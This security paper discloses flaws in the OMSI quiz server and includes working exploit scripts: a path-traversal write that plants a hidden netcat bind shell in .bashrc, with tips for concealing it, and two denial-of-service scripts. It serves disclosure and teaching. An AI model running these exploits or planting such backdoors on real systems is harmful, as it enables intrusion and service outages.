Hacking OMSI For Fun and Profit

A Case Study In Application Security

Matthew K. Donnelly

As technology plays and increasingly greater role in society, it becomes imperative to preserve its integrity and security. Preventing a malicious agent from disrupting or manipulating software that handles sensitive information is critical, and warrants the attention of software developers. In this paper, we highlight several vulnerabilities and the coding errors that give rise to them. It is our hope that by demonstrating these vulnerabilities they will not be repeated in the future.

OMSI | Remote Shell | DDoS | Application Security

Correspondence: ***brilliantrocketscientist@outlook.com***

Introduction. This paper details several vulnerabilities discovered in the Online Measurement of Student Insight (OMSI) application server. The most severe of these vulnerabilties allows an attacker to launch a backdoor shell on the server. Two other flaws allow an attacker to execute a Denial of Service (DoS) attack and cause the OMSI server to enter an infinite loop or exhaust system RAM. In addition, the lack of user authentication allows an attacker to modify the response sent by another user.

Arbitrary File Writing. The most severe vulnerability present in OMSI allows an attacker to overwrite an arbitrary file on the server using a specially crafted request. Consider the portion of the requestHandler method below that handles OMSI0001 requests sent to the server.

```
if data[:8] == 'OMSI0001':
    #Code omitted for clarity...
    fields = data.split('\0')
    #...
    lFileName = fields[1]
    #...
    lIsExecuted = self.receiveFile(pClientSocket,
    lFileName, lStudentEmail)
```

Listing 1. requestHandler method in OmsiServer.py

The requestHandler method receives the request string from the client, splits the string on null bytes, and then assigns the file name to the lFileName variable. This string is then passed to the receiveFile method, which is then passed to the openNewFileServerSide method. The relevent portions of these methods are shown below.

```
def receiveFile(self, pClientSocket, pFileName,
    pStudentEmail):

    # open new file on the server
    lNewFile = self.openNewFileServerSide(
    pFileName, pStudentEmail)
    #Code omitted for clarity...
```

Listing 2. receiveFile method in OmsiServer.py

```
def openNewFileServerSide(self, pNameOfNewFile,
    pStudentEmail):

    try:
        #Code omitted for clarity...
        lFilePath = os.path.join(lDirectoryPath,
    pNameOfNewFile)
        lNewFile = open(lFilePath, 'wb')
```

Listing 3. openNewFileServerSuide method in OmsiServer.py

In the openNewFileServerSide method, the file is created by joining the lDirectoryPath variable and the file name. The file is then opened and used to store responses from the client. Note that the code never validates the file name sent by the client. **Because of this oversight, we are able to hijack the user account on the server by sending a carefully crafted request**.

Attacking an OMSI Server. Assume an OMSI server is running from the /home/omsiuser/omsi directory and under the user "omsiuser". Responses from students are stored under /home/omsiuser/omsi/InstructorDirectory/testquiz/. A response from a student identified by the email address me@ucdavis.edu would be stored under /home/omsiuser/omsi/InstructorDirectory/testquiz/'me@ucdavis.edu'/.

Because OMSI does not validate the file name provided by the client, we may specify the file to write to as ../../../../.bashrc. When concatenated with the lDirectoryPath in Listing 3, the file opened is /home/omsiuser/.bashrc. The exploit code below uses this fact to launch a backdoor netcat shell when the omsiuser user logs into the server.

```
import socket

HOST = "<OMSI Server IP>"
PORT = <OMSI Server Port>

s = socket.socket(socket.AF_INET, socket.
    SOCK_STREAM)
s.connect((HOST, PORT))

s.send("OMSI0001\x00../../../../.bashrc\
    x00me@ucdavis.edu\x0010.0.0.1")
data = s.recv(1024)
if data == 'ReadyToAcceptClientFile':
   s.send("nohup nc -l -p 9999 -e /bin/bash 2> /
    dev/null &")
data2 = s.recv(1024)
s.close()
```

Listing 4. Exploit Code

The bash command being written to the .bashrc file deserves special attention. A simply netcat shell could be accomplished with nc -l -p 999 -e /bin/bash. However, executing this from .bashrc would block the user from accessing the command prompt. Most likely this would cause the user to become suspicious and lead the the failure of the attack. Instead, we run the netcat backdoor in the background by placing '&' at the end of the command. While this is an improvement, there are still two problems with this approach: (1) when the user logs off from the system, the backdoor will exit as well and (2) the process ID is displayed when executed. Issue (2) could raise the suspicion of the user. To fix both of these issues, we use the nohup command to mitigate (1) and direct stderr to /dev/null to mitigate (2). With this command, nothing out of the ordinary is displayed when the user logs in. Without inspecting the .bashrc file or listing the jobs currently running, it is likely that the netcat backdoor would remain hidden.

DoS Attack. In addition to the aforementioned flaw, OMSI contains a vulnerability which allows an attacker to exhaust the RAM available on the server. Consider the following code in the receiveFile method.

```
1  def receiveFile(self, pClientSocket, pFileName,
       pStudentEmail):
2
3     #Code omitted for clarity...
4
5     # receive the file
6     tmpFile = ''
7     while 1:
8      # set a timeout for this
9      ready = select.select([pClientSocket], [], [],
        2)
10     if ready[0]:
11         lChunkOfFile = pClientSocket.recv(1024)
12         tmpFile += lChunkOfFile
```

Listing 5. receiveFile

As the response is read from the client, it is stored in the tmpFile string. Because this variable resides in RAM, it is possible for a malicious client to continually send text to the server which will eventually exhaust the server's available RAM. The following exploit code does exactly this.

```
import socket

HOST = "<OMSI Server IP>"
PORT = <OMSI Server Port>

s = socket.socket(socket.AF_INET, socket.
    SOCK_STREAM)
s.connect((HOST, PORT))

s.send("OMSI0001\x00bigfile.txt\x00me@ucdavis.edu\
    x0010.0.0.1")
data = s.recv(1024)
if data == 'ReadyToAcceptClientFile':
  #DoS the server by continually sending data
  #Because data is stored in RAM, the server
  #will eventually run out.
  while True:
     s.send("AAAAAAAAAA")
s.close()
```

Listing 6. Exploit Code

Another DDoS Attack. Another form of DoS attack discovered in OMSI relies on the infinite loop on line 7 of Listing 5. This may be triggered by having the client connect to the server, send an "OMSI0001" request, and then immedietelly disconnect. Because ready[0] will always be true in this case, the server enters an infinite loop that tries to receive data from the socket. The following code exploits this vulnerability.

```
import socket

HOST = "<OMSI Server IP>"
PORT = <OMSI Server Port>

s = socket.socket(socket.AF_INET, socket.
    SOCK_STREAM)
s.connect((HOST, PORT))
s.send("OMSI0001\x00bigfile.txt\x00me@ucdavis.edu\
    x0010.0.0.1")
s.close()
```

Listing 7. Exploit Code

Lack of Authentication. The final vulnerability discovered in OMSI relies on the fact that users are only "authenticated" based on their email account. Because of this, it is possible for a malicious attacker to sabotage a particular student by submitting wrong or empty responses during a quiz. This jeopardize the integrity of the information that the server stores.

Closing Remarks. The number and severity of vulnerabilities discovered in OMSI show the need for careful application design by software engineers. The vulnerabilities exhibited here are not new or sophisticated, and most stem from simple coding errors. Although simple, the severity of these flaws cannot be understates as evident by the first attack that allowed an attacker to hijack the user account on the machine. In detailing these flaws, it is our hope that they serve as a reminder to software developers that any system handling sufficiently important information should receive intense scrutiny before being used in production.